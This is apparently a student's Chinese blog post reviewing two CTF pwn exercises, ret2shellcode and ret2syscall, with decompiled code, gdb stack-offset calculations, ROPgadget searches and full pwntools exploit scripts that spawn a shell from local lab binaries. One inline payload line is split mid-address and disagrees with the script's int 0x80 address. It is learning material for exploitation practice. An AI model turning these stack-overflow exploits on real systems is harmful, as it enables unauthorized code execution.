pwn 暑假复习二 简单rop

例一:ret2shellcode

先复习一下计算与ebp的距离的方法,昨天复习的是用pattern来寻找,今天复习另一种,以ctfwiki的ret2text为例。

先用ida打开查看源码

int __cdecl main(int argc, const char **argv, const char **envp)
{
  int v4; // [sp+1Ch] [bp-64h]@1

  setvbuf(stdout, 0, 2, 0);
  setvbuf(stdin, 0, 1, 0);
  puts("No system for you this time !!!");
  gets((char *)&v4);
  strncpy(buf2, (const char *)&v4, 0x64u);
  printf("bye bye ~");
  return 0;
}

发现变量v4地址是esp+1c,所以gdb打开,在 call get处下断,

.text:080486A7                 lea     eax, [esp+1Ch]
.text:080486AB                 mov     [esp], eax      ; s
.text:080486AE                 call    _gets

然后查看esp和ebp

gef➤  b *0x080486AE
Breakpoint 1 at 0x80486ae: file ret2text.c, line 24.
gef➤  r
There is something amazing here, do you know anything?

Breakpoint 1, 0x080486ae in main () at ret2text.c:24
24      gets(buf);
───────────────────────────────────────────────────────────────────────[ registers ]────
$eax   : 0xffffcd5c  →  0x08048329  →  "__libc_start_main"
$ebx   : 0x00000000
$ecx   : 0xffffffff
$edx   : 0xf7faf870  →  0x00000000
$esp   : 0xffffcd40  →  0xffffcd5c  →  0x08048329  →  "__libc_start_main"
$ebp   : 0xffffcdc8  →  0x00000000
$esi   : 0xf7fae000  →  0x001b1db0
$edi   : 0xf7fae000  →  0x001b1db0
$eip   : 0x080486ae  →   call 0x8048460 

esp为0xffffcd40,所以v4的位置为0xffffcd40+1c(0xffffcd5c),ebp为0xffffcdc8,v4与ebp的距离=0xffffcdc8-0xffffcd5c=6c

十进制就是108。

----------------------------------------------------------------------------------------------------------------------------------

开始今天的正题,ret2shellcode

先用checksec查看:没什么问题

pwn 暑假复习二 简单rop_第1张图片

ida打开,查看源码

int __cdecl main(int argc, const char **argv, const char **envp)
{
  int v4; // [sp+1Ch] [bp-64h]@1

  setvbuf(stdout, 0, 2, 0);
  setvbuf(stdin, 0, 1, 0);
  puts("No system for you this time !!!");
  gets((char *)&v4);
  strncpy(buf2, (const char *)&v4, 0x64u);
  printf("bye bye ~");
  return 0;
}

根据以上方法计算得到与ebp的距离为108。

然后源码中可看出,程序将输入的字符串复制进了buf2中,所以我们要找到buf2的地址

ida双击,即可看到

.bss:0804A080                 public buf2
.bss:0804A080 ; char buf2[100]

buf2在bss段,地址为0804a080,我们用gdb中的vmmap查看一下权限

pwn 暑假复习二 简单rop_第2张图片

发现所在段权限为rwxp  可读可写可执行

下面为脚本

#!/usr/bin/env python
from pwn import *

sh = process('./ret2shellcode')
shellcode = asm(shellcraft.sh())#生成shellcode
buf2_addr = 0x804a080

sh.sendline(shellcode.ljust(112, 'A') + p32(buf2_addr))#string.ljust('长度','填充字符'),意思是要是shellcode这个字符串长112,多出来的用a填充
sh.interactive()

例二:ret2syscall

用checksec查看:开了nx保护栈上数据不可执行

pwn 暑假复习二 简单rop_第3张图片

源码为:

int __cdecl main(int argc, const char **argv, const char **envp)
{
  int v4; // [sp+1Ch] [bp-64h]@1

  setvbuf(stdout, 0, 2, 0);
  setvbuf(stdin, 0, 1, 0);
  puts("This time, no system() and NO SHELLCODE!!!");
  puts("What do you plan to do?");
  gets(&v4);
  return 0;
}

用同上方法找到v4与ebp的距离为108

我们需要寻找可用gadgets,详解见ctfwiki:

简单地说,只要我们把对应获取 shell 的系统调用的参数放到对应的寄存器中,那么我们在执行 int 0x80 就可执行对应的系统调用。比如说这里我们利用如下系统调用来获取 shell

该程序是 32 位,所以我们需要使得

  • 系统调用号,即 eax 应该为 0xb(exeve的系统调用号为0xb)
  • 第一个参数,即 ebx 应该指向 /bin/sh 的地址,其实执行 sh 的地址也可以。
  • 第二个参数,即 ecx 应该为 0
  • 第三个参数,即 edx 应该为 0

而我们如何控制这些寄存器的值 呢?这里就需要使用 gadgets。比如说,现在栈顶是 10,那么如果此时执行了pop eax,那么现在 eax 的值就为 10。但是我们并不能期待有一段连续的代码可以同时控制对应的寄存器,所以我们需要一段一段控制,这也是我们在 gadgets 最后使用 ret 来再次控制程序执行流程的原因。具体寻找 gadgets的方法,我们可以使用 ropgadgets 这个工具

寻找eax:ROPgadget --binary ret2syscall --only 'pop|ret' | grep 'eax'

pwn 暑假复习二 简单rop_第4张图片

寻找ebx:ROPgadget --binary ret2syscall --only 'pop|ret' | grep 'ebx'

pwn 暑假复习二 简单rop_第5张图片

我们选择,0x080bb196 : pop eax ; ret 和 0x0806eb90 : pop edx ; pop ecx ; pop ebx ; ret

寻找‘/bin/sh’:ROPgadget --binary ret2syscall --string '/bin/sh'

寻找int 0x80:ROPgadget --binary ret2syscall --only 'int'

pwn 暑假复习二 简单rop_第6张图片

payload = 'a'*112+p32(0x080bb196)+p32(0xb)+p32(0x0806eb90)+p32(0)+p32(0)+p32(0x080be408)+p32(0x8084942

1)#填充字符|popeax|eax赋值|pop edx ecx ebx|edx赋值|ecx赋值|ebx赋值|系统调用

脚本如下:

from pwn import *
sh = process('./ret2syscall')

pop_eax = 0x080bb196
pop_edx_ecx_ebx = 0x0806eb90
int_0x80 = 0x08049421
binsh_addr = 0x080be408

payload = 'a'*112
payload += p32(pop_eax) + p32(0xb)
payload += p32(pop_edx_ecx_ebx) + p32(0) + p32(0) + p32(binsh_addr)
payload += p32(int_0x80)
sh.sendline(payload)

sh.interactive()


最后抱怨一句,天杀的期末考!!!

你可能感兴趣的:(pwn)